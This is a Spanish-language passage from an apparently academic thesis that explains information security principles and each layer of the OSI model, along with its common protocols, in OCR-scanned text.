Un ejemplo de integridad es la identificacion de un usuario, ya que, para
realizar acciones de modificacion, alteracion de una base de datos se requieren

ciertos privilegios.

3.1.3 Disponibilidad
“Garantizar que la informacién sea accesible en el momento adecuado
para los usuarios autorizados.” (Escrivd Gascd, Romero Serrano, & Ramada,

2013).

Este principio se puede vulnerar cuando los usuarios que tienen acceso a
él no pueden utilizarlo, cuando un atacante consigue que un recurso deje de estar
disponible para otros usuarios que acceden a él a través de la red, cortes de vias

de comunicaciones con el exterior.

Un ejemplo de este principio es la informacién bancaria, este debe estar
disponible para realizar consultas, transacciones, es decir ser utilizada en cualquier

momento por el usuario.
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Seguridad de
la
informacién

lustracion 3-1: “Seguridad de la informacion segun la norma ISO/IEC 17799,
(Gomez Vieites, 2011)

Varios autores como (Gémez Vieites, 2011), (Costas Santos, 2014) en sus libros
“Enciclopedia de la Seguridad Informatica” y “Seguridad Informatica” conciertan que no
existe un sistema que realmente sea seguro al 100%, por lo que se debe tratar de proteger
la informacion y sus redes de comunicacion de manera razonable, considerando que
deben cumplir con los pilares fundamentales de la Seguridad de la Informacién aplicada

alared.

3.2 Presentacion del Modelo de Interconexion de Sistemas Abiertos (OSI)

Es un modelo de referencia creado para disefiar una arquitectura de comunicacion
para computadoras heterogéneas mediante la definicion de protocolos y division en
niveles para solventar problemas de interconexién en partes que sean completamente

manejables.

Fue desarrollado como una arquitectura de red en el afio 1.977 por la Organizacion

Internacional de Normalizacién (ISO) bajo el nombre de “Interconexion de Sistemas
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Abiertos (OSI)”, cuyo estandar final fue perfeccionado en el afio 1.984 denominado ISO

7498.

El modelo OSI surge como una necesidad de compatibilidad e interoperabilidad
para que las computadoras puedan comunicarse entre si a través de una red, gracias a esto

varios autores han tomado varias percepciones con respecto a este modelo.

Para (Tanenbaum & Wetherall, 2012) este modelo se encuentra “Basado en una
propuesta desarrollada por la ISO como el primer paso hacia la estandarizacion
internacional de los protocolos utilizados en diversas capas, se ocupa de la conexion de
sistemas abiertos, esto es, sistemas que estan abiertos a la comunicacion con otros

sistemas”.

Para (Castafio Ribes & Ldpez Fernandez, 2013), , “Surge como un intento de
unificar esfuerzos, conocimientos y técnicas para elaborar un modelo de arquitectura
basado en capas que sirviera como referencia a los distintos fabricantes de la época para

construir redes compatibles entre si”.

Sin embargo, la Organizacion Internacional de Normalizacion afiade que este
modelo se encuentra formado por una serie de capas con diversos protocolos que cumplen
funciones muy bien definidas ofreciendo servicios a la capa inmediatamente superior

tomandolos de la capa inferior.

Por este motivo, el modelo OSI ademas de ser una arquitectura que se basa en
niveles permitird y garantizar4 la comunicacion entre diferentes equipos que se
encuentren en red a través de protocolos y estandares que trabajan en cada nivel para
cumplir las necesidades basicas para lo que fue creado como compatibilidad entre

fabricantes e interoperabilidad.
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lHustracion 3-2: “Niveles del Modelo OSI”, (Aguilera, 2011)

3.3 Funcionamiento de los 7 Niveles del Modelo de Interconexiéon de Sistemas Abiertos

(OSI)

El modelo de referencia OSI utiliza una arquitectura basada en niveles o capas,
con el objetivo de dividir los problemas de interconexion en partes que sean manejables.
Para (Molina Robles, 2014) la aproximacion en niveles asegura modularidad y facilita
que el software pueda mejorarse sin necesidad de introducir grandes cambios, ademas de

permitir la compatibilidad de equipos diferentes.

Este modelo consta de siete niveles o capas, las cuales realizan funciones bien
definidas, permite que las modificaciones de funciones o protocolos que se realicen en
una capa no afecten a los niveles contiguos, cada uno de ellos debe interactuar Gnicamente
con los niveles inmediatos (superior o inferior), la funcion de cada capa se debe elegir
pensando en la definicion de protocolos estandarizados internacionalmente, entre otras

funciones.
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De acuerdo con (Corletti Estrada, 2011) para tener una idea mas clara sobre el
porqué de los niveles, a continuacion se presenta lo que el modelo OSI plantea para cada
uno de ellos, este esquema resalta la division de servicios y funciones en siete niveles, no
necesariamente se cumple, ya que es solo una propuesta de estandarizacion para poder

resaltar el disefio de los componentes tanto como Software y Hardware.

Las 7 capas o niveles que conforman este modelo son:

3.3.1 Capa Fisica

Primera capa del modelo de referencia OSI, responsable de la trasmision de
bits a través de canales de comunicacion, su disefio tiene que asegurar que cuando un
equipo de red envie un bit (0, 1), este se reciba de manera correcta en el equipo destino

al que va dirigido. (Castafio Ribes & Lopez Fernandez, 2013).

Este es el canal principal de comunicacion por el cual se va a transmitir la
informacion por lo que utiliza medios de trasmision como cables o comunicacion
inalambrica, definiendo pardmetros como la velocidad y distancia maxima que puede

alcanzar una sefal sin deteriorarse.

Desde la perspectiva de seguridad informatica, en esta capa debemos tomar en

cuenta los siguientes aspectos:

3.3.1.1 Entorno Fisico

Los Data Center tiene como objetivo principal proteger los tres
pilares fundamentales de la informacion citados en el apartado anterior.

Como bien afirma (Aguilera, 2011), el entorno fisico consiste en la eleccion
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de locales o edificios que albergan dispositivos informaticos, sistemas
principales de redes y recursos asociados para el proceso de la informacion

de una empresa u organismo.

Si bien es cierto, el Data Center es un espacio fisico construido y no
modificable que debe considerar la evaluacion de factores fisicos y
naturales, tales como: ubicacion, disefio, espacio, instalaciones eléctricas,
inundaciones, incendios, entre otros. De igual manera, éste debe contar con
las condiciones adecuadas y altas medidas de seguridad para proteger en su

mayor parte los aspectos antes mencionados.

Por otro lado, actualmente existen otras soluciones innovadoras que
sustituye a los Data Center como “Cloud Computing” , segun (20
COMPUTING?, 2017) es una forma éptima de almacenar, asegurar,
garantizar, acceder rapida y eficazmente a la informacién en tiempo real. El
suministro de estos recursos informaticos se basa desde aplicaciones hasta

centro de datos mediante el Internet y en un modelo de pago por uso.

Esta nueva tecnologia ha ido evolucionando de tal manera que existe
diferentes modalidades de servicio entre los cuales (IBM Cloud, 2017)

explica los més importantes de la siguiente manera:

3.3.1.1.1 Software como Servicio (SaaS)

Permite a los usuarios conectarse a aplicaciones de
software por medio del Internet como correos electronicos,
herramientas ofimaticas, entre otros.
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3.3.1.1.2 Plataforma como Servicio (PaaS)

Ofrece un entorno con las funciones y requisitos que
son necesarios para dar soporte a la creacion y evolucion de
aplicaciones las cuales se basan en la web sin comprar o gestionar

hardware, software.

3.3.1.1.3 Infraestructura como Servicio (laaS)

Es una infraestructura de servicio que ofrece a las
empresas recursos informéaticos como servidores, redes,

almacenamiento y espacio en centro de pagos en funcion del uso.

N Ay ¢ """
Azure CloudBees

Qrackspace

_ i
fssamazon

&3 webservices

lustracion 3-3: “Division principal de SaasS, PaasS, laaS”, (Muspratt, 2017)

Para los usuarios y las empresas esta tecnologia es mas comoda que
la tradicional tanto desde el punto de vista se seguridad. Hoy en dia, existen
muchas compafiias que promocionan estos tipos de servicios como
“Movistar Cloud Computing” y “Google Apps” siendo el usuario quien

escoja las funcionalidades de acuerdo a su necesidad.
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3.3.1.2 Autenticacion y Control de Acceso

La autenticacion y control de acceso son aquellos que permitiran el
acceso hacia los recursos de la empresa, tanto tangibles como intangibles.
Este aspecto es importante porque intervienen factores humanos los cuales

tienen contacto directo.

Estas dos condiciones se encuentran estrechamente ligadas ya que
son maneras de cumplir las politicas de acceso a la empresa, es decir
mientras la autenticacion verifica quien dice ser (identidad), el control de
acceso decide si un usuario tiene permisos y privilegios para ingresar o

procesar activos de informacion otorgados por su perfil de cargo.

3.3.1.3 Medios Empleados para Transmitir Informacion

El nivel 1 del modelo OSI posee distintos medios de transmision
para el envio de informacién a través de distintos dispositivos de red,

clasificandolos de la siguiente manera:

3.3.1.3.1 Medios Guiados

Son canales fisicos para la transmision de informacion de
un dispositivo a otro. Los medios guiados pueden ser de distintos

tipos destacando los més relevantes:

a) Medios Magnéticos

Es transportar datos de un equipo a otro mediante su

almacenamiento en cintas magnéticas o medios removibles
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b)

(Tanenbaum & Wetherall, 2012). Estos medios son sensibles a
la pérdida de datos cuando son expuestos directamente a
campos magnéticos (imanes).

Par Trenzado

Para los autores (Castafio Ribes & Lopez Fernandez,
2013) son dos alambres entrelazados de forma helicoidal el cual

ayuda a reducir interferencias entre dos equipos.

Este medio guiado, consta de 8 hilos los cuales se
encuentran trenzados dos a dos e identificados por colores.
Dependen del nimero de trenzas para poder clasificarse y de
esta manera obtener mayor velocidad en las transferencias y su

costo es minimo.

Cable Coaxial

El autor (Molina Robles, 2014) reconoce a este medio
guiado como el cable de mejor blindaje, logrando alcanzar

mayores velocidades de transmision.

Ademas de transportar las sefiales eléctricas de altas
frecuencias, este cable es muy resistente a interferencias
externas y atenuaciones. Estos cables son utilizados en
transmisiones datos a largas distancias, ofreciendo soporte

confiable y excelente en velocidades de transmision.
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d) Fibra Optica

(Castafnio Ribes & Lopez Fernandez, 2013) lo definen
como un medio de red el cual es capaz de transmitir pulsos de

luz representando los datos a transmitir.

Actualmente muchas empresas, organizaciones se
encuentran utilizando este tipo de cable ya que su velocidad de
transmision es muy alta y gracias a esto la propagacion de la
sefial logra mayores distancias sin interferencias

electromagnéticas ni radiofrecuencia.

3.3.1.3.2 Medios No Guiados

Son medios inalambricos que transmiten informacion a
través de ondas electromagnéticas, no usan ningun canal fisico de

por medio. Los principales tipos en este apartado son:

a) Ondas de Radio

Son ondas son faciles de generar, pueden recorrer largas
distancias, inclusive pueden penetrar edificios viajando en

todas las direcciones. (Molina Robles, 2014).

Cuando estas ondas recorren largas distancias, es
necesario realizar controles estrictos por parte de las
autoridades para que las diferentes transmisiones no interfieran

entre si.

57



b) Microondas

Este medio no guiado permite transmisiones tanto

terrestres como satélite, siendo su principal uso en hornos.

Muchas veces las comunicaciones via microondas no
atraviesan apropiadamente ciertos obstaculos por lo que es
necesario situar antenas repetidoras cuando se desea realizar
comunicaciones a largas distancias. Mientras que, en el caso de
las comunicaciones via satélite, siempre existe un minimo
retardo en las transmisiones, es decir 0,3 segundos en ir y

regresar.

¢) Infrarrojo

Son ondas de luz invisibles al ojo humano, viaja por el
aire y se caracterizan por un elevado ancho de banda y un

reducido alcance. (Pérez Luna, 2014).

Para realizar una trasmision de informacion de tipo
infrarrojo se deben tener contacto directo y cercano por lo
termina siendo una gran desventaja ya que no atraviesan

objetos solidos como paredes, puertas, entre otros.

3.3.1.4 Medios Fisicos de Almacenamiento y Procesamiento de Informacion

Son dispositivos informaticos que tienen como objetivo respaldar,
transferir o procesar informacion, siendo los mas destacados servidores,

torres de discos, cintas, CDs, DVDs, entre otros.
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Por otra parte, las maneras de almacenamiento y procesamiento de
informacion también se basan en la famosa “Cloud Computing”, el cual se
ejecuta en varios servidores a través de Internet. Claro ejemplos de esta
tecnologia tenemos a Google Drive, Dropbox, ICloud los cuales facilitan
que la informacion se encuentre disponible en cualquier momento que el
usuario requiera. (Microsoft, 2018), considera que una gran variedad de
organizaciones tanto pequefias como multinacionales estan adoptando esta
tecnologia gracias a su costo, velocidad, productividad, rendimiento,

confiabilidad, entre otros motivos.

Con el paso del tiempo, este “Modelo de Almacenamiento” dejara
obsoletos a los dispositivos informéticos fisicos debido a que el principal
objetivo de esta tecnologia es que los proveedores se ajusten a las
necesidades del cliente. De esta manera, los modelos principales que

actualmente se encuentra en uso son:

3.3.1.4.1 Nube Publica

Ofrecen  recursos  informaticos  (servidores) vy
almacenamiento por medio de Internet, todo lo que ofrece esta nube

es propiedad y esta administrado por el proveedor de la nube.

3.3.1.4.2 Nube Privada

Ofrece recursos de computacion en la nube utilizados
exclusivamente por una sola empresa u organizacion. Esta nube
puede reemplazar a un Data Center ya que trabaja por medio de una

red privada.
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3.3.1.4.3 Nube Hibrida

Es una combinacion de una nube publica y privada el cual
permite compartir datos y aplicaciones entre ellos; gracias a esto
puede brindar una mayor flexibilidad y mas opciones de

implementacion.

En fin, Cloud Computing depende mucho de las necesidades de los
usuarios el cual debe ajustarse a lo que realmente se va a necesitar para
que una empresa funcione adecuadamente, ya que aparte de ser un ahorro
de tiempo permite guardar y/o procesar grandes cantidades de informacion

eficazmente.

3.3.2 Capa Enlace de Datos

Es la segunda capa del modelo OSI, responsable de gestionar el proceso
de transmision utilizando enlaces fisicos los cuales proporcionan mayor

fiabilidad. (Castafio Ribes & Lopez Fernandez, 2013).

Este nivel usa los servicios de la capa fisica para enviar y recibir
informacion a través de sus canales de comunicacion; siendo su unidad mas basica

de datos la trama.

Dentro de las funciones principales que realiza este nivel tenemos
entramado, direccionamiento fisico, control de acceso al medio, multiplexacion,

control, deteccion y correccion de errores.
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En efecto, para que la informacion viaje de manera segura, eficaz y
confiable, el nivel 2 del modelo OSI permite que la informacion fluya libre de
errores entre dos equipos que se encuentran conectados directamente, para lograr
esto se lo realiza de la siguiente manera: montar bloques de informacién (tramas),
asignar una direccion en la capa de enlace, gestionar la deteccion o correccion de

errores y controlar el flujo entre los equipos.

2.3.2.1 Protocolos

a) Control de Enlace de Alto Nivel (HDLC)

Es el protocolo de comunicacion més importante a nivel de
enlace, trabaja punto a punto o multipunto; su principal objetivo
recuperar paquetes en el caso que se pierdan, fallos de secuencia,

detectar y corregir errores, entre otros.

Actualmente, este protocolo es el mas utilizado en el nivel de
capa 2, siendo la base de muchos protocolos derivados los cuales

usan formatos y procedimientos similares (SDLC, LAP-B, PPP).

Ademas, ofrece una comunicacion fiable entre el emisor y el
receptor, proporciona servicios orientados y no orientados a
conexion y utiliza una técnica llamada “Relleno de Bits y Marcas”

para construir y manejar las tramas (establecer inicio y final).

b) Punto a Punto (PPP)

Es un protocolo a nivel de enlace estandarizado para realizar

una conexion entre dos puntos, es una versién no propietaria del
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protocolo HDLC. Se ha disefiado con el objetivo que sea un
protocolo abierto el cual permita trabajar con los protocolos de la

capa de red como IP y NetBEUI.

El protocolo PPP permitirte la conexién entre computadoras
mediante cables seriales, lineas telefonicas, telefonia celular, enlaces
de fibra Gptica, entre otros. Adicionando otras funcionalidades como
el transporte de datos, autenticacion a traves de claves de acceso y
asignaciones dinamicas.

c) Ethernety CSMA/CD

Es un estdndar conocido como IEEE 802.3 en el area de las
redes locales; define caracteristicas fisicas y eléctricas que debe
tener una red entre las cuales se destaca los cables de tipo coaxial,

par trenzado y fibra dptica.

Sin embargo, (Abad Domingo, 2013) expresa que Ethernet
usa el protocolo de acceso al medio conocido como CSMA/CD
(“Carrier Sense Multiple Access/ Collision Detection”) en el cual la
idea principal es que los equipos antes de transmitir los datos, deben
detectar si el canal de transmision se encuentra en uso, caso contrario
provocaria una colision que hara que se suspenda la transmision,
espere un tiempo y se tramite una trama de aviso e intente

nuevamente.
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Cualquier equipo que se encuentre en una red Ethernet, debe
poseer una tarjeta de red que cumpla con este estandar, componentes

y software adecuado para recibir y generar tramas.

d) Redes Inalambricas LAN

Wireless-Fidelity (Wi-Fi), es un estandar que se define como

el mas extendido para la creacion de redes de area local inalambricas.

Transmite y recibe datos mediante ondas electromagnéticas
a través de puertos, sin necesidad de medios guiados (cables), siendo
su principal objetivo crear una marca que permita fomentar la

tecnologia inalambrica y asegurar la compatibilidad entre equipos.

Actualmente, las normas de funcionamiento de una WLAN
se basan en la IEEE 802.11 y sus variaciones debido a que cada una
intenta responder a ciertas necesidades de una empresa. El estandar
original se ha modificado para poder optimizar el ancho de banda
para garantizar seguridad y compatibilidad por lo cual se encuentra

en una continua evolucion.

Para desarrollar la IEEE 802.11 existe un grupo de trabajo
que tiene como objetivo investigar y desarrollar temas relacionados
con este estandar, mencionando y detallando a los mas importantes

en la siguiente tabla:
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ESTANDAR

802.11a

802.11b

802.11c

802.11d

802.11e

802.11f

802.11g

802.11h

802.11i

802.11k

802.11x

FUNCIONALIDAD

Busca crear un estdndar de WLAN en la banda 5GHz
alcanzando tasas de 5 GHz.

Busca crear un estandar de WLAN en la banda 2.4GHz
alcanzando tasas de 11 Mbps

Define caracteristicas en los puntos de acceso para que
puedan ser usados como puentes.

Ofrece definiciones y requisitos para que el estandar 802.11
pueda operar en paises que actualmente no se puede
implementar este estandar.

Trabaja en aspectos relacionados con la calidad de servicio
QoS y multimedia

Aplica intercomunicacion entre puntos de acceso de
distintos fabricantes, ademéas funciona bajo el estandar
802.11¢

Busca una extension de la 802.11b con el objetivo de
mantener compatibilidad entre fabricantes.

Evolucién de 802.11a, permite asignar canales dindmicos y
control automatico para evitar interferencias para la capa
fisica.

Incorpora mecanismos de seguridad para protocolos de
autenticacion y codificacion; ademéas ofrece soluciones
interoperables y un patrén robusto para asegurar datos.
Permite a los conmutadores y puntos de acceso inaldmbrico
calcular y valorar recursos de radiofrecuencia con el
objetico de mejorar y gestionar el uso de una WLAN.
Mejora los mecanismos de seguridad de la 802.11 con
protocolos de seguridad extendida EAP

Tabla 3-1: “Variantes del Estandar 8020.11”
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e) Arbol de Extension (STP)

Es un protocolo de capa 2, el cual trabaja con bridges y
switches, siendo su principal objetivo mantener una red libre de
bucles. STP realiza una exploracion constante de la red por lo que
cualquier fallo es detectado al instante, es decir, en el momento que

reconoce un “bucle” bloquea uno o mas enlaces redundantes.

Siempre se encuentra trabajando dentro de la red, por lo
que, si existe algin cambio en su topologia, este lo reconfigurara

para que no exista varias rutas hacia un mismo destino.

f) Virtual LAN (VLAN)

Este protocolo es usado para la creaciéon de LAN’s Virtuales,
entre sus principales objetivos destacamos a la seguridad, flexibilidad

y segmentacion.

Dentro de una comunicacion entre switches se usa enlaces
troncales, los cuales etiquetan a la trama enviada y eliminan dicha
etiqueta cuando ingresa al switch de destino; transportando el trafico

de més de una VLAN

g) Resolucion de Direcciones (ARP)

Es un protocolo utilizado para obtener direcciones MAC de un
equipo a través de su direccién IP, simplemente no se puede asociar
directamente con el 2 y 3 del modelo OSI, debido a que usa

informacién de las dos capas para poder funcionar.
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Entonces, este protocolo trabaja por medio de la traduccién de
direcciones IP en direcciones MAC almacenandolas en tablas ARP,
de esta manera se pueden relacionar para enviar informacion al
destino correcto; sin embargo, estas tablas son temporales, es decir se
crean cada vez que se activa un sistema, realizando de nuevo la

asociacion correspondiente de direcciones IP y MAC.

3.3.3 Capa de Red

Es la tercera capa del modelo OSI, responsable de controlar una subred y
elegir la ruta mas conveniente para que los datos lleguen a su destino. (Abad

Domingo, 2013).

Sin embargo, (Tanenbaum & Wetherall, 2012) sugiere que en el momento
que este nivel escoge la ruta mas conveniente para trasmitir los datos se debe tener
mucha precaucion porgue puede sobrecargar lineas de comunicacion y enrutadores

provocando inactividad.

Este nivel usa los servicios de la capa de enlace y ofrece servicios a la capa

de transporte; siendo su unidad mas bésica de datos los paquetes.

Una de sus principales funciones es dirigir los paquetes enviados del
emisor hacia el receptor los cuales pueden estar ubicados a grandes distancias
geograficas independientemente del nimero de dispositivos que tengan que

atravesar para poder llegar a su destino.
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Ademas, se encarga de tratar correctamente congestiones en la red; debido
a que, si existen muchos paquetes que se encuentran circulando por dicha red, estos

obstruyen a otros generando cuellos de botella.

Para lograr todos estos objetivos es necesario conocer la topologia de la
red, es decir tener conocimiento sobre los enrutadores y enlaces que existen para
poder lograr una conexion.

Finalmente, en relacion con el proceso que realiza un paquete para llegar
a su destino (Cisco Systems, 2012) explica que debe “Direccionar®, Encapsular®,

Encaminar’ y Desencapsular®” los datos.

3.3.4.1 Protocolos

a) Internet Version 4 (IPv4)

Es uno de los protocolos principales del Internet, siendo su
cuarta version y obviamente la primera en ser utilizada a gran escala en

la mayoria de las redes.

Su principal objetivo es proporcionar direcciones IP, los cuales
se puedan identificar dentro de la red, en virtud de (Castafio Ribes &
Lopez Ferndndez, 2013), adiciona ciertas sus caracteristicas de este
protocolo, es decir no establece conexiones antes de enviar paquetes de
datos, no usan encabezados para garantizar la entrega de paquetes y

operan independiente del medio que lleva los datos.

> Direccionar: Direcciones Unicas que tienen los dispositivos para identificarse dentro de la red.

5 Encapsular: Proceso en el cual los datos son formateados, segmentados e identificados con el direccionamiento
I6gico y fisico para poder ser enviado al medio.

" Encaminar: Dirige los paquetes al host de destino.

8 Desencapsular: Verifica si el paquete fue direccionado al dispositivo correcto y se prepara para enviar la
informacion a la capa de transporte.
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Actualmente, el aumento de los dispositivos que se conectan a
internet y el desperdicio de direcciones que existe, este protocolo ya no
resulta suficiente por lo que fue necesario crear una mejora.

b) Internet Version 6 (IPv6)

Es la sexta version del protocolo IP, resultando ser una mejora
de la version IPv4, debido a que solventa cada uno de sus principales
problemas, entre las mas importantes la falta de direcciones IP, por lo

que esta destinado a sustituirlo por completo.

Entre sus mejoras segun (Santos Gonzales, 2014) puntualiza
que existe ampliacion de espacio de direcciones, direcciones de
autoconfiguracion, aumento de flexibilidad en el direccionamiento,
facilidad de asignacion de recursos, capacidad de seguridad, eliminacion

de control de errores de cabecera, entre otros.

Actualmente, (Google, 2018) siempre se encuentra recopilando
informacion sobre la migracion de IPv4 a IPv6 y como se muestran en
las siguientes estadisticas, esto llevara tiempo ya que solo hasta el 25 de
mayo del 2018 se tiene un 20,74% y en el Ecuador un 20,67%. Esto se
debe a que los sitio web y proveedores de servicios de Internet deben
realizar el cambio. Hasta que esto suceda, los dos protocolos funcionaran

de forma conjunta hasta que IPv4 ya no sea imprescindible.
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lustracion 3-4: “Migracion de IPv4 a Ipv6”, (Google, 2018)

Latency /impact: -20ms / 0%

w‘Ecuador . f,f
IPv6 Adoption: 20.67% V

lustracion 3-5: “Migracion de IPv4 a Ipv6 en el Ecuador”, (Google,

2018)

c) Seguridad de Internet (IPSec)

Es un conjunto de protocolos el cual asegura las

comunicaciones del Protocolo de Internet (IP), incluyendo soporte para

IPv4 e IPv6, TCP, UDP, ICMP.
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Por otro lado el autor (Valdivia Miranda, 2015) argumenta que
para asegurar la comunicacion mediante este protocolo, se realiza

mediante la autenticacion y/o cifrado de paquete IP en el flujo de datos.

IPSec se basa en una serie de protocolos como AH®, ESP, e
IKE™?, los cuales ayudan a implementar su arquitectura global mediante
la confidencialidad, integridad, autenticacion de datos incluyendo que los

paquetes no se encuentren duplicados dentro de una VPN( Anti-Replay).

En fin, el principal objetivo de este protocolo es asegurar que el
contenido que desea transmitir no sufra cambios desde que fue enviado

por su emisor y llegue intacto a su destino.

d) Mensajes de Control de Internet (ICMP)

Es un protocolo que se encarga de manejar los errores que se
puedan ocasionar en los paquetes IP, basicamente son generados con el

propdsito de diagnosticar y enrutar.

ICMP se utiliza mensajes de estado o de error para comunicar
que es lo que sucede con un datagrama dentro de los dispositivos de red;

por lo cual hace uso de los servicios IP.

El tipico mensaje de este este protocolo, es cuando se busca
diagnosticar la conectividad, ciertos dispositivos envia un mensaje

“echo” con la expectativa de que se reciba una respuesta, en el caso de

9 Autentication Header (AH): Brinda autenticacion a la informacion.
10 Encapsulating Security Payload (ESP): Brinda autenticacion y encriptacion de la informacion.
1 Internet Key Exchange (IKE): Define modos de cambios de claves
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que no exista, se sobreentiende que la conexidn entre host a nivel de red

se encuentra perdida.

3.3.4 Capa de Transporte

Es la cuarta capa del modelo OSI, corazén de la jerarquia de protocolos, y
responsable de entregar un mensaje de manera transparente, confiable, eficiente, libre

de errores y ordenada a su hacia su destino.

Siendo su unidad mé&s bésica de datos el segmento, estos se preparan para
enviarse a través de medios en partes manejables y de esta manera mas facil de

administrarlos.

(Molina Robles, 2014) explica su funcionamiento de la siguiente manera: este
nivel toma los mensajes del nivel de sesion, los distribuye en segmentos y los pasa al

nivel de red, asegurando que llegue correctamente al nivel de sesion del otro extremo.

Entre otras funcionalidades de esta capa tenemos segmentacion de datos
reensamblaje de datos, identificacion de aplicaciones, control de flujo, y calidad de

servicio.

3.3.4.1 Protocolos

a) Datagrama de Usuario (UDP)

Es un protocolo basado en IP, no orientado a conexion, siendo

su funcion bésica proteger cada segmento individuamente.
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UDP se define como no fiable por que los mensajes pueden
Ilegar dafiados, duplicados o no llegar por que no existe un mecanismo

que evite este tipo de problemas.

Este protocolo es muy sencillo y gracias a esto su velocidad de
transferencia es muy alta sin ofrecer ningun tipo de garantia; ademas es
usado para conexiones que no necesitan correccion de errores 0
continuidad de flujo, dejando al programa de aplicacion una

responsabilidad muy grande, el de fiabilidad.

Un ejemplo de UDP es la trasmision de voz y video, es decir
cuando se esté viendo o escuchando a otra persona en tiempo real porque

no se puede perder tiempo en reenviar datos perdidos.

b) Control de Transmision (TCP)

Es un protocolo orientado a conexion, permite controla el estado
de conexion entre el emisor y receptor. A diferencia del protocolo UDP,
es muy fiable ya que el receptor controla, ordena y confirma la entrega
de segmentos.

Todos los segmentos viajan protegidos por un control de errores

de esta manera verifica que la informacion no llegue corrupta o alterada.

Su principal objetico es proveer un flujo controlado y fiable de
datos entre los emisores y receptores afiadiendo funciones de correccion

de errores, seguridad y libre de pérdidas.
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c) Capa de Puertos Seguros (SSL)

Es un protocolo de seguridad que permite la comunicacion entre
el usuario y el servidor de tal manera que exista confidencialidad,

fiabilidad e integridad de los datos.

SSL asegura que la informacion que se ha transmitido no pueda
ser interceptada ni modificada por factores externos por lo que trabaja

con otros protocolos especialmente sobre TCP.

Dentro de sus funciones especificas tenemos seguridad
criptogréfica, interoperabilidad, flexibilidad y eficiencia dentro de un
canal seguro para que cualquier informacion confidencial y personal no
pueda ser interceptada, un claro ejemplo de este protocolo es la compra

de articulos mediante paginas web.

d) Capa de Seguridad en la Capa de Transporte (TLS)

Es la sucesion del protocolo SSL, siendo un protocolo
criptografico tiene como objetivo garantizar y asegurar el intercambio de

datos entre dos computadoras que se encuentren en red.

Permite que la comunicacién sea autenticada, integra y fiable,
logra que se transmita la informacion libre de ataques mediante
interoperabilidad, extensibilidad y eficiencia. Basicamente es utilizado y

compatible con la mayoria de navegadores web.

73



Como ejemplo de este protocolo tenemos la proteccion a la
falsificacion de correos ya que abre canales que son seguros entre sus
servidores.

3.3.5 Capa de Sesion

Es la quinta capa del modelo OSI, responsable de establecer, mantener y

cerras las sesiones entre equipos, por ejemplo, sesiones TCP.

Este nivel recibe y mejora los servicios de la capa de transporte y ofrece
servicios a la capa de presentacion; siendo una sesion el nombre que reciben las

conexiones establecidas.

Dentro de sus funcionalidades tenemos reanudaciones de sesiones en caso
de interrupcion o fallo en la red, gestionar sesiones, sincronizacién y control de
dialogo.

Es uno de los niveles orientados a la aplicacion; por lo que con mucha
frecuencia las funciones de esta capa se combinan con las de la capa de la aplicacion

y ambas se implementan como un solo protocolo.

3.3.5.1 Protocolos
a) NetBIOS
Es un protocolo desarrollado por IBM el cual permite que las
aplicaciones de distintas computadoras se comuniquen a travées del

compartimiento de recursos dentro una red LAN.

Utiliza los siguientes puertos: 137(nombres), 138
(datagramas) y 139 (sesion), ademas necesita el apoyo de otros

protocolos para poder trabajar como IPC/IPX y NetBEUI.
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b) Llamada de Procedimiento Remoto (RPC)

Es un protocolo muy béasico que permite ejecutar codigos en

otro equipo sin tener que preocuparse por la comunicacion.

(Santos Gonzales, 2014) manifiesta que a cada dispositivo de
red de le asigna un nombre de 15 caracteres, y ademas no es un

protocolo enrutable, por tal motivo no se usa en redes LAN.

3.3.6 Capa de Presentacion

Es la sexta capa del nivel OSI, es la responsable de que el emisor y receptor
de la informacion comprendan y entiendan el dialogo que se establezca. Se encarga

de la sintaxis y semantica del lenguaje que se esta trasmitiendo.

(Baca Urbina, 2016) considera que los datos manejados en este nivel se
deben comprimir sin perder sus propiedades linglisticas y que no pierdan su
significado. Sin embargo, cuando toma los datos que han sido entregados por la
capa de aplicacién, realiza su propia conversion en un formato que pueda ser
entendido y comprendido, los formatos habituales que usa son MP3, MPEG, JPEG,

GIF, entre otros.

Las funciones basicas de la capa de presentacion son conversién (BCD,
EBCDIC, ASCII, Unicode), encriptacion y comprension de datos los cuales se

basan en el estandar ANSI y X.209.

Al igual que la capa de sesion, es uno de los niveles orientados a la
aplicacion; por lo que se implementan como un solo protocolo para poder funcionar

correctamente.
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3.3.7.1 Protocolos

a) Notacion Sintactica Abstracta 1 (ANSI.1)

Es un protocolo usado para representar datos, define la manera
de como se debe transmitir la informacién, de tal forma que cualquier
maquina pueda interpretarlos. Ademas, establece la estructura de un
correo electronico.

b) Representacion de Datos Externos (XDR) Sintactica Abstracta 1

(ANSI.1)

Es un protocolo que permite transferir archivos entre
diferentes arquitecturas y sistemas operativos que son incompatibles

mediante el ordenamiento de caracteres, y conversiones.

Los tipos de datos que soporta son integer, boolean, string,
float incluyendo matrices, cadenas que son similares al lenguaje de

programacion C.

c) Extensiones de Multipropoésito de Correo Internet (MIME)

Es un protocolo que agrega estructura al cuerpo del mensaje,
de tal manera que define reglas codificadas para enviar textos con
formato no ASCII a través del Internet. MIME puede enviarse a través
de diferente programas y protocolos de la capa de aplicacién de correo

electronico existentes.
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3.3.7 Capa de Aplicacion
Es la septima y ultima capa del modelo OSI, es responsable de garantizar
que absolutamente todas las aplicaciones de un equipo tengan acceso a los servicios
que ofrecen los 6 niveles anteriores del modelo OSI, todo esto se logra gracias a los

protocolos ya mencionados.

Todas las aplicaciones poseen su propio protocolo que utilizan para
interactuar directamente con el usuario; estos se manejan de manera automatica en

el momento que se llama a una determinada aplicacion existen.

En este apartado se mencionara la mayoria de protocolos principales, debido
a que en los ultimos afios existen una infinidad de nuevas aplicaciones que permiten
a los usuarios el uso de correos electronicos, aplicaciones en tiempo real,

navegacion por internet, entre otros.

3.3.7.2 Protocolos

a) Sistema de Nombres de Dominio (DNS)

Es un sistema que asocia direcciones IP con direcciones

alfanumeéricas, es decir: 192.194.56.17 con www.wikipedia.com.ec.

Las direcciones alfanuméricas deben estar separadas por
puntos y siguiendo una jerarquia, para reconocer algunas direcciones

que aparecen en ultima posicion, por ejemplo: “com”, “org”, “edu”,

13 (13

net”’; y otros asignados por paises como: “es” (Espafia), “ec”

(Ecuador), “br” (Brasil)...
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Varios autores (Carceller Cheza, Campos Saborido, Garcia
Marcos, & Gonzales Lorenzo, 2013) , lo consideran como una base de
datos jerarquica y distribuida, permitiendo localizar cualquier equipo y
servicio a través de direcciones alfanuméricas, las cuales sean muy

faciles de recordar.

b) Red de Telecomunicaciones (TELNET)

Es un protocolo que permite el acceso de forma remota a un
equipo, como si estuviese trabajando de manera directa sobre él; su
acceso en por medio de consola usando comando del sistema

operativo en uso.

